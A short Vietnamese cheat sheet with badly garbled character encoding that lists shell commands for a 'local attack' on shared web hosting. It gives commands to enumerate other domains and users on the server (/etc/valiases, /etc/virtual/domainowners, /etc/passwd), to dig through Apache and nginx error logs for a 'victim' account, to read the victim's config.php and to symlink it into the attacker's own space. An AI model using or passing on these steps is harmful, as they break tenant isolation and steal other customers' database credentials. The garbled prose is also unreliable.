1. Xem t�n domain tr�n c�ng 1 host
ls -la /etc/valiases
cd /etc/vdomainaliases;ls -lia
- Tr�?ng h?p �?c bi?t khi kh�ng th? xem user n?m c�ng host th? th�m && v�o
cd /etc/vdomainaliases && ls -lia2. Xem t�n user
cat /etc/passwd
less /etc/passwd
more /etc/passwd
tail /etc/passwd
rev /etc/passwd
tac /etc/passwd
- Ngo�i ra ta c� th? d�ng l?nh sau �? xem user
+ V?i cpanel
ls -la /etc/valiases/domain.comThay domain.com b?ng t�n mi?n c?a site b?n mu?n xem user
v� d?:
ls -la /etc/valiases/quylevhb.com
+ V?i Directadmin
cat /etc/virtual/domainowners- C?n r?t nhi?u c�ch �? t?m user c?a victim nh� xem error log �
tail -n 10000 /var/log/httpd/domains/domain.com.error.logcat /usr/local/apache/logs/error_log | grep �domain.com� >>�user.txt�
* �?i v?i nginx
cat /var/log/nginx/error_log
Ho?c
cat /var/log/nginx/domain.com.error.log
3. Local sang victim
dir /pathPath: l� ��?ng d?n �?n th� m?c c?n xem
v� d?:
dir /home/quylevhb/public_html
4. Xem n?i dung file
cat /path/t�n-file.phpv� d?:
cat /home/quylevhb/public_html/config.php
5. Symlink
ln -s /path/t�n-file quylevhb.txtv� d?:
ln -s /home/quylevhb/public_html/config.php quylevhb.txt
6. M?t s? l?nh kh�c
- mkdir: T?o th� m?c
- touch: t?o file
- cp: copy file
- mv: di chuy?n file ho?c th� m?c
- rm: X�a file
- rmdir: x�a th� m?c
M?t s? l?nh th�ng d?ng trong local attack
4/
5
Oleh
Unknown